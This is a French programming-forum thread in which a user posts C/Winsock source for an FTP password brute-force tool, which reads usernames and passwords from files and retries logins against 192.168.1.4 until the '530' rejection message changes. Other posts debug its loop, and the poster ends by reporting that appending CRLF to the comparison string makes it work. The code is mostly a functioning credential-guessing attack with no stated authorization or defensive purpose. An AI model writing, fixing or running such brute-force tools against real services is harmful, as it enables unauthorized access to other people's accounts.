Probleme boucle do while

Résolu/Fermé
miki - 13 juil. 2008 à 17:49
 miki - 13 juil. 2008 à 19:44
Bonjour,a tous voila je realise un petit programme simple de brute force ftp le probleme etant que l'une de mes boucle de fonctionne pas correctement ou du moin elle continu de boucle infiniment.Je poste la première ébauche du code :

#include <stdio.h>
#include <stdlib.h>
#include<winsock2.h>
#include<string.h>



int main(int argc, char *argv[])
{
char user[200]={0};
char buffer[200]={0};
char pass[200]={0};
char verification[]="530 Login or password incorrect!";
int i;
FILE *pu;
FILE *pp;
pp=fopen("user.txt","r");//ouverture du fichier texte contenant les nom d'utilisateur
fgets(user,sizeof user,pp);//lecture de la première ligne dans le txt et ecriture dans user
pu=fopen("pass.txt","r");//ouverture du fichier txt contenant les pass


WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);
SOCKET sock;
SOCKADDR_IN sin;

/* Tout est configuré pour se connecter sur IRC, haarlem, Undernet. */
sock = socket(AF_INET, SOCK_STREAM, 0);//creation d'une soket

sin.sin_addr.s_addr = inet_addr("192.168.1.4");//parametrage de la soket
sin.sin_family = AF_INET;
sin.sin_port = htons(21);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));// connection sur l'hote

recv(sock, buffer, sizeof(buffer), 0);//reception des donnees envoyer par le serveur ftp

printf("%s\n",buffer);

do
{

send(sock, user, sizeof(user), 0);//envoie du premier nom d'utilisateur precede de la commande user

for(i=0;i<200;i++)//boucle pour vider le buffer
{
buffer[i]=0;
}

recv(sock, buffer, sizeof(buffer), 0);

fgets(pass,sizeof pass,pu);//lecture du fichier txt pass

printf("%s\n",pass);

send(sock, pass, sizeof(pass), 0);//envoi du pass celui-ci etant precedé de la commande pass

for(i=0;i<200;i++)//2eme boucle pour vider le buffer
{
buffer[i]=0;
}

recv(sock, buffer, sizeof(buffer), 0);//reception des données envoyer par le serveur


printf("%s\n",buffer);

strcmp(buffer,verification);//comparaison des deux chaines pour savoir si le pass et correct ou non

}while(strcmp(buffer,verification)==0);//si la chaine buffer et egal à la chaine verification on boucle





closesocket(sock);
WSACleanup();


system("PAUSE>0");
return 0;
}
le probleme etant que normalement lorsque le pass et bon le serveur renvoi une chaine differente de celle contenu dans verification et malgre cela meme si le pass et bon le programme boucle quand meme pourriez vous m'aidez a comprendre pourquoi sil vouplait

3 réponses

Nassim5555 Messages postés 732 Date d'inscription jeudi 17 janvier 2008 Statut Membre Dernière intervention 15 mai 2011 97
13 juil. 2008 à 18:22
Salut,
le while doit etre dans cette forme :

while (ta condition) {
une ou plusieurs instructions
}
0
merci d'avoir repondu mais en fait j'utilise un do while pour que la condition soit verifier au moin une fois
0
Bon je répond moi meme a ma question il semblerai que les commande ftp soit du type CRLF -W il suffisait donc que je rajoute \r\n a la suite de ma chaine contenu dans verification pour que ça marche .
0